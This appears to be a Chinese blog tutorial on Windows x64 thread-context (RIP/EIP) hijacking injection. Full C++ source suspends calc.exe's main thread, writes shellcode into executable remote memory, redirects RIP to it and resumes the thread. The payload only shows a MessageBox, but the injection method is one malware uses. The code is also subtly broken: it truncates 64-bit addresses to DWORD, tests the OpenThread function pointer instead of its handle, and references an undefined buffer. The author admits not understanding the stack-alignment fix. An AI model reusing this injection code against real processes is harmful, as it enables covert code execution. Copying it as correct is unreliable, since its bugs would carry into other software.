高手請飄過~~~~~~~~~~~~~~~~~
RIP --- x64體系
EIP --- x86體系
RIP/EIP注入原理:
1 掛起目標線程,需要用到 SuspendThread 函數
2 掛起之後獲取目標線程的上下文,需要用到 GetThreadContext函數
這個函數可以獲得一個CONTEXT結構體封裝的數據。這個結構體的定義在winnt.h頭文件中
結構體裏面存儲了當前線程的上下文信息,比如當前線程的RIP/EIP在哪裏,通用寄存器的值是
多少等等。
3 RIP/EIP注入關鍵就是修改Context中的RIP/EIP寄存器。使得要執行的代碼強制跳轉到我們
指定的代碼。最後將上下文設置回去,這用到 SetThreadContext 函數,最後執行ResumeThread
函數,將掛起線程恢復執行。
難點:
1 位置無關代碼編寫,爲什麼要位置無關這裏不再多說了。
2 要注意函數棧對齊問題,其實我這個問題也沒太搞明白,
總之就是棧沒對齊,我的例子代碼在調用MessageBox時會報錯,詳細情況看shellcode的註釋
有懂得希望留言,指教一二。
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <Tlhelp32.h>
#include "D:\\VS\\DllToInject\\DllToInject\\Utils.h"
#pragma comment(lib, "D:\\VS\\DllToInject\\x64\\Release\\UtilDll.lib")
CHAR shellcode[] = {
0x68, 0x78, 0x56, 0x34, 0x12, //push org rip (這裏需要修復成原來的rip,暫時用0x12345678佔位 見FixShellCode)
0x41, 0x51, //push r9
0x41, 0x50, //push r8
0x52, //push rdx
0x51, //push rcx
0x50, //push rax
0x48, 0x83, 0xEC, 0x28, //sub rsp, 28 這個代碼不加調用MessageBox會莫名其妙出錯,好像是x64需要棧 mod 16對齊
0x41, 0xB9, 0x00, 0x00, 0x00, 0x00, //mov r9d,0
0x41, 0xB8, 0x00, 0x00, 0x00, 0x00, //mov r8d,0
0xBA, 0x00, 0x00, 0x00, 0x00, //mov edx,0
0xB9, 0x00, 0x00, 0x00, 0x00, //mov ecx,0
0xB8, 0x78, 0x56, 0x34, 0x12, //mov eax, messagebox (這裏需要修復成Messagebox的地址,暫時用0x12345678佔位 見FixShellCode)
0xFF, 0xD0, //call rax
0x48, 0x83, 0xC4, 0x28, //add rsp, 28 平衡棧,很簡單
0x58, //pop rax
0x59, //pop rcx
0x5A, //pop rdx
0x41, 0x58, //pop r8
0x41, 0x59, //pop r9
0xC3 //ret 返回到原來的Rip, 這裏很關鍵
};
//修復shellcode中的兩處絕對地址
//oldRip 線程掛起前的RIP
//pfn Messagebox的地址
//偷懶起見, 這裏利用for循環找0x12345678,找到了就修復,否則需要去數數比較麻煩
void FixShellCode(DWORD oldRip, DWORD pfn){
for (int i = 0; i < sizeof(shellcode); ++i){
if (*(DWORD *)(shellcode + i) == 0x12345678){
*(DWORD *)(shellcode + i) = oldRip;//修復RIP
break;
}
}
for (int i = 0; i < sizeof(shellcode); ++i){
if (*(DWORD *)(shellcode + i) == 0x12345678){
*(DWORD *)(shellcode + i) = pfn;//修復messagebox的地址
break;
}
}
}
int _tmain(int argc, _TCHAR* argv[])
{
if (!AdjustProcessTokenPrivilege()){
printf("提權失敗\n");
}
DWORD dwPid = GetPidByName("calc.exe");
if (dwPid == 0){
printf("GetPidByName failed\n");
return -1;
}
printf("calc.exe pid=%d\n", dwPid);
DWORD dwThreadId = GetMainThread(dwPid);
printf("calc main thread id = %d\n", dwThreadId);
HANDLE hProcess;
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
MyOutputDebugString("打開進程失敗!!!!");
return -1;
}
//打開目標主線程
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, dwThreadId);
if (!OpenThread)
{
printf("OpenThread 失敗");
goto SAFE_EXIT;
}
//掛起目標主線程
DWORD bRet = SuspendThread(hThread);
if (bRet == -1)
{
printf("SuspendThread 失敗");
goto SAFE_EXIT;
}
CONTEXT oldContext = { 0 };
CONTEXT newContext = { 0 };
DWORD dwOldEip = 0;
oldContext.ContextFlags = CONTEXT_FULL;
bRet = GetThreadContext(hThread, &oldContext);
if (!bRet)
{
printf("GetThreadContext 失敗");
goto SAFE_EXIT;
}
newContext = oldContext;
//兩個函數地址的差值就是shellcode代碼的大小,可能會有一些多的對齊數據,但是不影響
DWORD funcSize = sizeof(shellcode);
printf("shellcode size =%d\n", funcSize);
FixShellCode(oldContext.Rip, (DWORD)MessageBox);
//1.在遠程進程中分配內存,可讀可寫可執行
LPVOID pszRemoteBuffer = (char *)VirtualAllocEx(hProcess, NULL, USN_PAGE_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pszRemoteBuffer == NULL)
{
printf("申請遠程空間失敗");
CloseHandle(hProcess);
return -1;
}
printf("buffer = %p\n", pszRemoteBuffer);
//2.在遠程申請的內存空間中寫入shellcode
SIZE_T dwWriten = 0;
if (!WriteProcessMemory(hProcess, pszRemoteBuffer, shellcode, funcSize, &dwWriten))
{
printf("寫入shellcode失敗");
CloseHandle(hProcess);
VirtualFreeEx(hProcess, pszRemoteBuffer, USN_PAGE_SIZE, MEM_DECOMMIT);
return -1;
}
printf("shellcode write bytes:%d\n", dwWriten);
#ifdef _WIN64
newContext.Rip = (DWORD)pszRemoteBuffer;
//dwOldEip = newContext.Rip;
#else
newContext.Eip = (DWORD)g_lpBuffer;
//dwOldEip = newContext.Eip;
#endif
bRet = SetThreadContext(hThread, &newContext);
if (!bRet)
{
printf("SetThreadContext 失敗");
goto SAFE_EXIT;
}
//然後把主線程跑起來
bRet = ResumeThread(hThread);
if (bRet == -1)
{
printf("ResumeThread 失敗");
goto SAFE_EXIT;
}
//等shellcode運行完畢,然後再釋放內存 VirtualFreeEx
Sleep(3000);
SAFE_EXIT:
if (hThread){
CloseHandle(hThread);
}
VirtualFreeEx(hProcess, pszRemoteBuffer, USN_PAGE_SIZE, MEM_DECOMMIT);
CloseHandle(hProcess);
return 0;
}